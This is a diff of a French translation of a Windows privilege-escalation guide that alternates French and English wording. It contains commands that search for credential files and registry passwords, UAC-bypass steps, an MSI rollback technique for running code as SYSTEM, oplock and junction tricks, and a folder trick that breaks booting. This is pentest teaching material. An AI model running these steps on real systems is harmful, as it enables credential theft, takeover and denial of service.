/s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1182,7 +1213,7 @@ Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct ``` ### Identifiants dans la Corbeille -Vérifiez également la Corbeille pour y chercher des identifiants +Vous devriez également vérifier la Corbeille pour y rechercher des identifiants Pour **récupérer des mots de passe** enregistrés par plusieurs programmes vous pouvez utiliser : [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) @@ -1199,8 +1230,8 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### Historique des navigateurs -Vous devez vérifier les bases de données où les mots de passe de **Chrome or Firefox** sont stockés.\ -Vérifiez aussi l'historique, les favoris et les signets des navigateurs, car certains **mots de passe** peuvent y être enregistrés. +Vous devriez vérifier les bases de données (dbs) où sont stockés les mots de passe de **Chrome or Firefox**.\ +Vérifiez aussi l'historique, les signets et les favoris des navigateurs, car certains **mots de passe** peuvent y être stockés. Outils pour extraire les mots de passe des navigateurs : @@ -1211,24 +1242,24 @@ Outils pour extraire les mots de passe des navigateurs : ### **COM DLL Overwriting** -**Component Object Model (COM)** est une technologie intégrée au système d'exploitation Windows qui permet l'**intercommunication** entre des composants logiciels écrits dans des langages différents. Chaque composant COM est **identifié via un class ID (CLSID)** et chaque composant expose des fonctionnalités via une ou plusieurs interfaces, identifiées via des interface IDs (IIDs). +**Component Object Model (COM)** est une technologie intégrée au système d'exploitation Windows qui permet l'**intercommunication** entre composants logiciels écrits dans différents langages. Chaque composant COM est **identifié via un class ID (CLSID)** et expose des fonctionnalités via une ou plusieurs interfaces, identifiées via des interface IDs (IIDs). Les classes et interfaces COM sont définies dans le registre sous **HKEY\CLASSES\ROOT\CLSID** et **HKEY\CLASSES\ROOT\Interface** respectivement. Ce registre est créé en fusionnant **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral). +À l'intérieur des CLSID de ce registre, vous pouvez trouver la clé enfant **InProcServer32** qui contient une **valeur par défaut** pointant vers une **DLL** et une valeur appelée **ThreadingModel** qui peut être **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral). ![](<../../images/image (729).png>) -En pratique, si vous pouvez **écraser l'une des DLL** qui seront exécutées, vous pourriez **escalate privileges** si cette DLL est exécutée par un utilisateur différent. +En pratique, si vous pouvez **overwrite any of the DLLs** qui vont être exécutées, vous pourriez **escalate privileges** si cette DLL est exécutée par un autre utilisateur. -Pour apprendre comment les attaquants utilisent COM Hijacking comme mécanisme de persistance, consultez : +Pour savoir comment les attaquants utilisent le COM Hijacking comme mécanisme de persistence, consultez : {{#ref}} com-hijacking.md {{#endref}} -### **Recherche générique de mots de passe dans les fichiers et le registre** +### **Generic Password search in files and registry** **Rechercher le contenu des fichiers** ```bash @@ -1242,7 +1273,7 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**Rechercher dans le registre les noms de clés et les mots de passe** +**Rechercher dans le registry des key names et des passwords** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K @@ -1251,11 +1282,11 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` ### Outils qui recherchent des passwords -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **est un plugin msf** que j'ai créé pour **automatically execute every metasploit POST module that searches for credentials** sur la machine victime.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) recherche automatiquement tous les fichiers contenant des passwords mentionnés sur cette page.\ +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **est un plugin msf** que j'ai créé pour **exécuter automatiquement chaque module POST de metasploit qui recherche des credentials** sur la victime.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) recherche automatiquement tous les fichiers contenant des passwords mentionnés dans cette page.\ [**Lazagne**](https://github.com/AlessandroZ/LaZagne) est un autre excellent outil pour extraire des passwords d'un système. -L'outil [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) recherche les **sessions**, **usernames** et **passwords** de plusieurs outils qui enregistrent ces données en clair (PuTTY, WinSCP, FileZilla, SuperPuTTY et RDP) +L'outil [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) recherche des **sessions**, des **usernames** et des **passwords** de plusieurs outils qui enregistrent ces données en clair (PuTTY, WinSCP, FileZilla, SuperPuTTY, et RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1264,30 +1295,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ -Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\ -[Lisez cet exemple pour plus d'informations sur **comment détecter et exploiter cette vulnérabilité**.](leaked-handle-exploitation.md)\ -[Lisez cet **autre article pour une explication plus complète sur la façon de tester et d'abuser davantage des open handlers des processus et threads hérités avec différents niveaux d'autorisations (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +Imaginez qu'**un processus s'exécutant en tant que SYSTEM ouvre un nouveau processus** (`OpenProcess()`) avec **un accès complet**. Le même processus **crée également un nouveau processus** (`CreateProcess()`) **avec de faibles privilèges mais héritant de tous les handles ouverts du processus principal**.\ +Ensuite, si vous avez **un accès complet au processus faiblement privilégié**, vous pouvez récupérer le **handle ouvert vers le processus privilégié créé** avec `OpenProcess()` et **injecter un shellcode**.\ +[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ +[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation Les segments de mémoire partagée, appelés **pipes**, permettent la communication entre processus et le transfert de données. -Windows offre une fonctionnalité appelée **Named Pipes**, permettant à des processus non liés de partager des données, même sur des réseaux différents. Cela ressemble à une architecture client/serveur, avec des rôles définis comme **named pipe server** et **named pipe client**. +Windows fournit une fonctionnalité appelée **Named Pipes**, permettant à des processus non liés de partager des données, même sur des réseaux différents. Cela ressemble à une architecture client/serveur, avec des rôles définis comme **named pipe server** et **named pipe client**. -Quand des données sont envoyées via un pipe par un **client**, le **serveur** qui a créé le pipe peut **endosser l'identité** du **client**, à condition qu'il dispose des droits **SeImpersonate** nécessaires. Identifier un **processus privilégié** qui communique via un pipe que vous pouvez imiter offre la possibilité d'**obtenir des privilèges supérieurs** en adoptant l'identité de ce processus dès qu'il interagit avec le pipe que vous avez créé. Pour des instructions sur l'exécution d'une telle attaque, des guides utiles se trouvent [**ici**](named-pipe-client-impersonation.md) et [**ici**](#from-high-integrity-to-system). +Lorsqu'un **client** envoie des données via un pipe, le **serveur** qui a créé le pipe a la capacité de **prendre l'identité** du **client**, à condition qu'il dispose des droits **SeImpersonate** nécessaires. Identifier un **processus privilégié** qui communique via un pipe que vous pouvez imiter offre une opportunité d'**obtenir des privilèges supérieurs** en adoptant l'identité de ce processus lorsqu'il interagit avec le pipe que vous avez établi. Pour des instructions sur l'exécution d'une telle attaque, des guides utiles se trouvent [**ici**](named-pipe-client-impersonation.md) et [**ici**](#from-high-integrity-to-system). -De plus, l'outil suivant permet de **intercepter une communication de named pipe avec un outil comme burp :** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **et cet outil permet de lister et voir tous les pipes pour trouver des privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +De plus, l'outil suivant permet d'**intercepter une communication de named pipe avec un outil comme burp :** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **et cet outil permet de lister et voir tous les pipes pour trouver des privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) ## Divers -### File Extensions that could execute stuff in Windows +### Extensions de fichiers pouvant exécuter du code sous Windows -Consultez la page **[https://filesec.io/](https://filesec.io/)** +Consultez la page **https://filesec.io/** -### **Monitoring Command Lines for passwords** +### **Surveiller les lignes de commande pour les mots de passe** -Lorsque vous obtenez un shell en tant qu'utilisateur, il peut y avoir des tâches planifiées ou d'autres processus exécutés qui **passent des identifiants sur la ligne de commande**. Le script ci-dessous capture les lignes de commande des processus toutes les deux secondes et compare l'état actuel avec l'état précédent, affichant toute différence. +Lorsque vous obtenez un shell en tant qu'utilisateur, il peut y avoir des tâches planifiées ou d'autres processus exécutés qui **passent des identifiants sur la ligne de commande**. Le script ci-dessous capture les lignes de commande des processus toutes les deux secondes et compare l'état actuel avec l'état précédent, affichant les différences éventuelles. ```bash while($true) { @@ -1299,13 +1330,13 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2 ``` ## Voler des mots de passe depuis des processus -## De Low Priv User vers NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass +## De Low Priv User à NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass Si vous avez accès à l'interface graphique (via console ou RDP) et que UAC est activé, dans certaines versions de Microsoft Windows il est possible d'exécuter un terminal ou tout autre processus tel que "NT\AUTHORITY SYSTEM" depuis un utilisateur non privilégié. -Cela permet d'escalader les privilèges et de contourner UAC en même temps avec la même vulnérabilité. De plus, il n'est pas nécessaire d'installer quoi que ce soit et le binaire utilisé pendant le processus est signé et émis par Microsoft. +Cela permet d'escalader les privilèges et de contourner UAC en même temps avec la même vulnérabilité. De plus, il n'est pas nécessaire d'installer quoi que ce soit et le binaire utilisé pendant le processus est signé et délivré par Microsoft. -Certains des systèmes affectés sont les suivants : +Certains des systèmes affectés sont les suivants: ``` SERVER ====== @@ -1327,7 +1358,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -Pour exploiter cette vulnérabilité, il est nécessaire d'effectuer les étapes suivantes : +Pour exploiter cette vulnérabilité, il faut effectuer les étapes suivantes : ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1345,164 +1376,164 @@ Pour exploiter cette vulnérabilité, il est nécessaire d'effectuer les étapes 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -Vous avez tous les fichiers et informations nécessaires dans le dépôt GitHub suivant : +You have all the necessary files and information in the following GitHub repository: https://github.com/jas502n/CVE-2019-1388 -## De Administrator Medium à High Integrity Level / UAC Bypass +## From Administrator Medium to High Integrity Level / UAC Bypass -Lisez ceci pour **en savoir plus sur les niveaux d'intégrité** : +Lisez ceci pour **apprendre sur les Integrity Levels** : {{#ref}} integrity-levels.md {{#endref}} -Puis **lisez ceci pour en savoir plus sur UAC et les UAC bypasses :** +Puis **lisez ceci pour comprendre UAC et les UAC bypasses :** {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## De Arbitrary Folder Delete/Move/Rename à SYSTEM EoP +## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP -La technique décrite [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) avec un code d'exploit [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +La technique décrite [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) avec un exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -L'attaque consiste essentiellement à abuser de la fonctionnalité de rollback de Windows Installer pour remplacer des fichiers légitimes par des fichiers malveillants pendant le processus de désinstallation. Pour cela l'attaquant doit créer un **malicious MSI installer** qui sera utilisé pour hijacker le dossier `C:\Config.Msi`, lequel sera ensuite utilisé par le Windows Installer pour stocker les fichiers de rollback lors de la désinstallation d'autres packages MSI où les fichiers de rollback auront été modifiés pour contenir la charge utile malveillante. +L'attaque consiste essentiellement à abuser de la feature de rollback de Windows Installer pour remplacer des fichiers légitimes par des fichiers malveillants pendant le processus de désinstallation. Pour cela, l'attaquant doit créer un **malicious MSI installer** qui sera utilisé pour détourner le dossier `C:\Config.Msi`, qui sera ensuite utilisé par le Windows Installer pour stocker les fichiers de rollback pendant la désinstallation d'autres packages MSI où les fichiers de rollback auront été modifiés pour contenir la payload malveillante. La technique résumée est la suivante : 1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** -- Step 1 : Installer le MSI -- Créez un `.msi` qui installe un fichier inoffensif (par ex., `dummy.txt`) dans un dossier écrivable (`TARGETDIR`). -- Marquez l'installateur comme **"UAC Compliant"**, afin qu'un **utilisateur non administrateur** puisse l'exécuter. -- Gardez un **handle** ouvert sur le fichier après l'installation. +- Step 1: Install the MSI +- Create an `.msi` that installs a harmless file (e.g., `dummy.txt`) in a writable folder (`TARGETDIR`). +- Mark the installer as **"UAC Compliant"**, so a **non-admin user** can run it. +- Keep a **handle** open to the file after install. -- Step 2 : Commencer la désinstallation -- Désinstallez le même `.msi`. -- Le processus de désinstallation commence à déplacer des fichiers vers `C:\Config.Msi` et à les renommer en fichiers `.rbf` (copies de rollback). -- **Interrogez le handle de fichier ouvert** en utilisant `GetFinalPathNameByHandle` pour détecter quand le fichier devient `C:\Config.Msi\.rbf`. +- Step 2: Begin Uninstall +- Uninstall the same `.msi`. +- The uninstall process starts moving files to `C:\Config.Msi` and renaming them to `.rbf` files (rollback backups). +- **Poll the open file handle** using `GetFinalPathNameByHandle` to detect when the file becomes `C:\Config.Msi\.rbf`. -- Step 3 : Synchronisation personnalisée -- Le `.msi` inclut une **custom uninstall action (`SyncOnRbfWritten`)** qui : -- Signale quand un `.rbf` a été écrit. -- Puis **attend** un autre événement avant de poursuivre la désinstallation. +- Step 3: Custom Syncing +- The `.msi` includes a **custom uninstall action (`SyncOnRbfWritten`)** that: +- Signals when `.rbf` has been written. +- Then **waits** on another event before continuing the uninstall. -- Step 4 : Bloquer la suppression du `.rbf` -- Lorsqu'il est signalé, **ouvrez le fichier `.rbf`** sans `FILE_SHARE_DELETE` — cela **empêche sa suppression**. -- Puis **renvoyez le signal** pour que la désinstallation puisse se terminer. -- Windows Installer échoue à supprimer le `.rbf`, et comme il ne peut pas supprimer tout le contenu, **`C:\Config.Msi` n'est pas supprimé**. +- Step 4: Block Deletion of `.rbf` +- When signaled, **open the `.rbf` file** without `FILE_SHARE_DELETE` — this **prevents it from being deleted**. +- Then **signal back** so the uninstall can finish. +- Windows Installer fails to delete the `.rbf`, and because it can’t delete all contents, **`C:\Config.Msi` is not removed**. -- Step 5 : Supprimer manuellement le `.rbf` -- Vous (attaquant) supprimez manuellement le fichier `.rbf`. -- Maintenant **`C:\Config.Msi` est vide**, prêt à être détourné. +- Step 5: Manually Delete `.rbf` +- You (attacker) delete the `.rbf` file manually. +- Now **`C:\Config.Msi` is empty**, ready to be hijacked. -> À ce stade, **trigger the SYSTEM-level arbitrary folder delete vulnerability** pour supprimer `C:\Config.Msi`. +> À ce stade, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`. 2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** -- Step 6 : Recréer `C:\Config.Msi` avec des ACLs faibles -- Recréez le dossier `C:\Config.Msi` vous-même. -- Définissez des **DACLs faibles** (par ex., Everyone:F), et **gardez un handle ouvert** avec `WRITE_DAC`. +- Step 6: Recreate `C:\Config.Msi` with Weak ACLs +- Recreate the `C:\Config.Msi` folder yourself. +- Set **weak DACLs** (e.g., Everyone:F), and **keep a handle open** with `WRITE_DAC`. -- Step 7 : Lancer une autre installation -- Installez le `.msi` à nouveau, avec : -- `TARGETDIR` : emplacement écrivable. -- `ERROROUT` : une variable qui provoque un échec forcé. -- Cette installation sera utilisée pour déclencher le **rollback** à nouveau, qui lit les `.rbs` et `.rbf`. +- Step 7: Run Another Install +- Install the `.msi` again, with: +- `TARGETDIR`: Writable location. +- `ERROROUT`: A variable that triggers a forced failure. +- This install will be used to trigger **rollback** again, which reads `.rbs` and `.rbf`. -- Step 8 : Surveiller l'apparition des `.rbs` -- Utilisez `ReadDirectoryChangesW` pour surveiller `C:\Config.Msi` jusqu'à ce qu'un nouveau `.rbs` apparaisse. -- Capturez son nom de fichier. +- Step 8: Monitor for `.rbs` +- Use `ReadDirectoryChangesW` to monitor `C:\Config.Msi` until a new `.rbs` appears. +- Capture its filename. -- Step 9 : Synchronisation avant rollback -- Le `.msi` contient une **custom install action (`SyncBeforeRollback`)** qui : -- Signale un événement lorsque le `.rbs` est créé. -- Puis **attend** avant de continuer. +- Step 9: Sync Before Rollback +- The `.msi` contains a **custom install action (`SyncBeforeRollback`)** that: +- Signals an event when the `.rbs` is created. +- Then **waits** before continuing. -- Step 10 : Réappliquer des ACLs faibles -- Après réception de l'événement `rbs created` : -- Le Windows Installer **réapplique des ACLs strictes** à `C:\Config.Msi`. -- Mais comme vous avez toujours un handle avec `WRITE_DAC`, vous pouvez **réappliquer des ACLs faibles** à nouveau. +- Step 10: Reapply Weak ACL +- After receiving the `.rbs created` event: +- The Windows Installer **reapplies strong ACLs** to `C:\Config.Msi`. +- But since you still have a handle with `WRITE_DAC`, you can **reapply weak ACLs** again. -> Les ACLs sont **appliquées uniquement à l'ouverture du handle**, donc vous pouvez encore écrire dans le dossier. +> Les ACLs sont **seulement appliquées à l'ouverture du handle**, donc vous pouvez toujours écrire dans le dossier. -- Step 11 : Déposer de faux `.rbs` et `.rbf` -- Écrasez le fichier `.rbs` avec un **faux script de rollback** qui indique à Windows de : -- Restaurer votre `.rbf` (DLL malveillante) dans un emplacement privilégié (par ex., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Déposer votre faux `.rbf` contenant une **DLL payload malveillante au niveau SYSTEM**. +- Step 11: Drop Fake `.rbs` and `.rbf` +- Overwrite the `.rbs` file with a **fake rollback script** that tells Windows to: +- Restore your `.rbf` file (malicious DLL) into a **privileged location** (e.g., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Drop your fake `.rbf` containing a **malicious SYSTEM-level payload DLL**. -- Step 12 : Déclencher le rollback -- Signalez l'événement de synchronisation pour que l'installateur reprenne. -- Une **custom action de type 19 (`ErrorOut`)** est configurée pour **forcer intentionnellement l'échec de l'installation** à un point connu. -- Cela provoque le **début du rollback**. +- Step 12: Trigger the Rollback +- Signal the sync event so the installer resumes. +- A **type 19 custom action (`ErrorOut`)** is configured to **intentionally fail the install** at a known point. +- This causes **rollback to begin**. -- Step 13 : SYSTEM installe votre DLL -- Windows Installer : -- Lit votre `.rbs` malveillant. -- Copie votre DLL `.rbf` dans l'emplacement cible. -- Vous avez maintenant votre **DLL malveillante dans un chemin chargé par SYSTEM**. +- Step 13: SYSTEM Installs Your DLL +- Windows Installer: +- Reads your malicious `.rbs`. +- Copies your `.rbf` DLL into the target location. +- You now have your **malicious DLL in a SYSTEM-loaded path**. -- Final Step : Exécuter du code SYSTEM -- Exécutez un binaire de confiance **auto-elevated** (par ex., `osk.exe`) qui charge la DLL que vous avez détournée. -- **Boom** : votre code s'exécute **en tant que SYSTEM**. +- Final Step: Execute SYSTEM Code +- Run a trusted **auto-elevated binary** (e.g., `osk.exe`) that loads the DLL you hijacked. +- **Boom**: Your code is executed **as SYSTEM**. ### From Arbitrary File Delete/Move/Rename to SYSTEM EoP -La technique principale de rollback MSI (la précédente) suppose que vous pouvez supprimer un **dossier entier** (par ex., `C:\Config.Msi`). Mais que se passe-t-il si votre vulnérabilité ne permet que la **suppression arbitraire de fichiers** ? +La principale technique de rollback MSI (la précédente) suppose que vous pouvez supprimer un **dossier entier** (par exemple `C:\Config.Msi`). Mais que faire si votre vulnérabilité ne permet que la **suppression arbitraire de fichiers** ? -Vous pouvez exploiter les **NTFS internals** : chaque dossier possède un flux de données alternatif caché appelé : +Vous pouvez exploiter les internals NTFS : chaque dossier a un flux de données alternatif caché appelé : ``` C:\SomeFolder::$INDEX_ALLOCATION ``` -Ce flux stocke les **métadonnées d'index** du dossier. +Ce stream stocke les **métadonnées d'index** du dossier. -Donc, si vous **supprimez le flux `::$INDEX_ALLOCATION`** d'un dossier, NTFS **supprime le dossier entier** du système de fichiers. +Donc, si vous **supprimez le stream `::$INDEX_ALLOCATION`** d'un dossier, NTFS **supprime entièrement le dossier** du système de fichiers. -Vous pouvez le faire en utilisant des API standard de suppression de fichiers telles que : +Vous pouvez faire cela en utilisant des API standard de suppression de fichiers comme : ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` > Même si vous appelez une API de suppression de *fichier*, elle **supprime le dossier lui-même**. -### De Folder Contents Delete à SYSTEM EoP -Et si votre primitive ne vous permet pas de supprimer des fichiers/dossiers arbitraires, mais qu'elle **autorise la suppression du *contenu* d'un dossier contrôlé par l'attaquant** ? +### De la suppression du contenu d'un dossier à SYSTEM EoP +Et si votre primitive ne vous permettait pas de supprimer des fichiers/dossiers arbitraires, mais qu'elle **autorise la suppression du *contenu* d'un dossier contrôlé par l'attaquant** ? -1. Étape 1 : Préparer un dossier et un fichier leurre +1. Étape 1 : Préparer un dossier leurre et un fichier - Créer : `C:\temp\folder1` - À l'intérieur : `C:\temp\folder1\file1.txt` 2. Étape 2 : Placer un **oplock** sur `file1.txt` -- L'oplock **met l'exécution en pause** lorsqu'un processus privilégié tente de supprimer `file1.txt`. +- L'oplock **met l'exécution en pause** lorsqu'un processus privilégié essaie de supprimer `file1.txt`. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. Étape 3 : Déclencher le processus SYSTEM (p. ex., `SilentCleanup`) -- Ce processus analyse des dossiers (p. ex., `%TEMP%`) et tente de supprimer leur contenu. -- Lorsqu'il atteint `file1.txt`, le **oplock se déclenche** et remet le contrôle à votre callback. +3. Étape 3 : Déclencher le processus SYSTEM (e.g., `SilentCleanup`) +- Ce processus parcourt les dossiers (e.g., `%TEMP%`) et tente de supprimer leur contenu. +- Lorsqu'il atteint `file1.txt`, le **oplock se déclenche** et transmet le contrôle à votre callback. -4. Étape 4 : À l'intérieur du callback de l'oplock – rediriger la suppression +4. Étape 4 : Dans le callback de l'oplock – rediriger la suppression -- Option A: Déplacer `file1.txt` ailleurs +- Option A : Déplacer `file1.txt` ailleurs - Cela vide `folder1` sans rompre l'oplock. - Ne supprimez pas `file1.txt` directement — cela libérerait l'oplock prématurément. -- Option B: Convertir `folder1` en **junction**: +- Option B : Convertir `folder1` en **junction**: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control ``` -- Option C : Créer un **symlink** dans `\RPC Control` : +- Option C: Créer un **symlink** dans `\RPC Control`: ```bash # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> Cela cible le NTFS internal stream qui stocke les métadonnées du dossier — le supprimer supprime le dossier. +> Ceci cible le flux interne NTFS qui stocke les métadonnées du dossier — le supprimer supprime le dossier. 5. Étape 5 : Libérer l'oplock - Le processus SYSTEM continue et tente de supprimer `file1.txt`. @@ -1512,37 +1543,37 @@ C:\Config.Msi::$INDEX_ALLOCATION ``` **Résultat**: `C:\Config.Msi` est supprimé par SYSTEM. -### De la création arbitraire de dossiers à un DoS permanent +### From Arbitrary Folder Create to Permanent DoS -Exploitez une primitive qui vous permet de **créer un dossier arbitraire en tant que SYSTEM/admin** — même si **vous ne pouvez pas écrire de fichiers** ou **définir des permissions faibles**. +Exploitez une primitive qui vous permet de **create an arbitrary folder as SYSTEM/admin** — même si **vous ne pouvez pas écrire de fichiers** ou **définir des permissions faibles**. -Créez un **dossier** (pas un fichier) portant le nom d'un **pilote Windows critique**, par ex. : +Créez un **dossier** (pas un fichier) portant le nom d'un **critical Windows driver**, par ex.: ``` C:\Windows\System32\cng.sys ``` - Ce chemin correspond normalement au pilote en mode noyau `cng.sys`. -- Si vous le **pré-créez comme dossier**, Windows échoue à charger le pilote réel au démarrage. -- Ensuite, Windows tente de charger `cng.sys` pendant le démarrage. -- Il voit le dossier, **n'arrive pas à résoudre le pilote réel**, et **se plante ou bloque le démarrage**. -- Il n'y a **aucune solution de secours**, et **aucune récupération** sans intervention externe (par ex., réparation du démarrage ou accès au disque). +- Si vous le **pré-créez en tant que dossier**, Windows ne parvient pas à charger le pilote réel au démarrage. +- Ensuite, Windows tente de charger `cng.sys` pendant le boot. +- Il voit le dossier, **ne parvient pas à charger le pilote réel**, et **provoque un crash ou interrompt le démarrage**. +- Il n'existe **aucun mécanisme de secours**, et **aucune récupération** sans intervention externe (p. ex., réparation du démarrage ou accès au disque). ## **De High Integrity à SYSTEM** ### **Nouveau service** -Si vous êtes déjà en cours d'exécution sur un processus High Integrity, le **chemin vers SYSTEM** peut être simple : il suffit de **créer et exécuter un nouveau service** : +Si vous exécutez déjà un processus High Integrity, le **chemin vers SYSTEM** peut être simple : il suffit de **créer et exécuter un nouveau service** : ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Lorsque vous créez un binaire de service, assurez-vous que c'est un service valide ou que le binaire exécute rapidement les actions nécessaires, car il sera tué au bout de 20s s'il n'est pas un service valide. +> Lorsque vous créez un service binaire, assurez-vous que c'est un service valide ou que le binaire effectue les actions nécessaires suffisamment rapidement car il sera tué au bout de 20s s'il n'est pas un service valide. ### AlwaysInstallElevated -Depuis un processus High Integrity, vous pouvez essayer d'**activer les entrées de registre AlwaysInstallElevated** et **installer** une reverse shell en utilisant un wrapper _**.msi**_.\ -[Plus d'informations sur les clés de registre impliquées et comment installer un paquet _.msi_ ici.](#alwaysinstallelevated) +Depuis un processus High Integrity vous pouvez essayer d'**activer les entrées de registre AlwaysInstallElevated** et **installer** un reverse shell en utilisant un wrapper _**.msi**_.\ +[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System @@ -1550,19 +1581,19 @@ Depuis un processus High Integrity, vous pouvez essayer d'**activer les entrées ### From SeDebug + SeImpersonate to Full Token privileges -Si vous disposez de ces privilèges de token (vous les trouverez probablement dans un processus déjà High Integrity), vous pourrez **ouvrir presque n'importe quel processus** (à l'exception des processus protégés) avec le privilège SeDebug, **copier le token** du processus, et créer un **processus arbitraire avec ce token**.\ -L'utilisation de cette technique consiste généralement à **sélectionner un processus exécuté en tant que SYSTEM avec tous les privilèges de token** (_oui, vous pouvez trouver des processus SYSTEM sans tous les privilèges de token_).\ +Si vous avez ces privilèges de token (probablement trouvés dans un processus déjà High Integrity), vous serez capable d'**ouvrir presque n'importe quel process** (pas les processus protégés) avec le privilège SeDebug, **copier le token** du process et créer un **process arbitraire avec ce token**.\ +L'usage de cette technique consiste généralement à **sélectionner un process tournant en tant que SYSTEM avec tous les privilèges de token** (_oui, vous pouvez trouver des processus SYSTEM sans tous les privilèges de token_).\ **Vous pouvez trouver un** [**exemple de code exécutant la technique proposée ici**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Cette technique est utilisée par meterpreter pour escalader en `getsystem`. La technique consiste à **créer un pipe puis créer/abuser d'un service pour écrire dans ce pipe**. Ensuite, le **serveur** ayant créé le pipe en utilisant le privilège **`SeImpersonate`** pourra **usurper le token** du client du pipe (le service) et obtenir des privilèges SYSTEM.\ -Si vous voulez [**en savoir plus sur name pipes vous devriez lire ceci**](#named-pipe-client-impersonation).\ -Si vous voulez lire un exemple de [**comment passer d'un processus high integrity à System en utilisant des name pipes vous devriez lire ceci**](from-high-integrity-to-system-with-name-pipes.md). +Cette technique est utilisée par meterpreter pour escalader dans `getsystem`. La technique consiste à **créer un pipe puis créer/abuser d'un service pour écrire dans ce pipe**. Ensuite, le **serveur** qui a créé le pipe en utilisant le privilège **`SeImpersonate`** pourra **s'imposer le token** du client du pipe (le service) obtenant les privilèges SYSTEM.\ +Si vous voulez [**en savoir plus sur les name pipes vous devriez lire ceci**](#named-pipe-client-impersonation).\ +Si vous voulez lire un exemple de [**comment passer de high integrity à System en utilisant des name pipes vous devriez lire 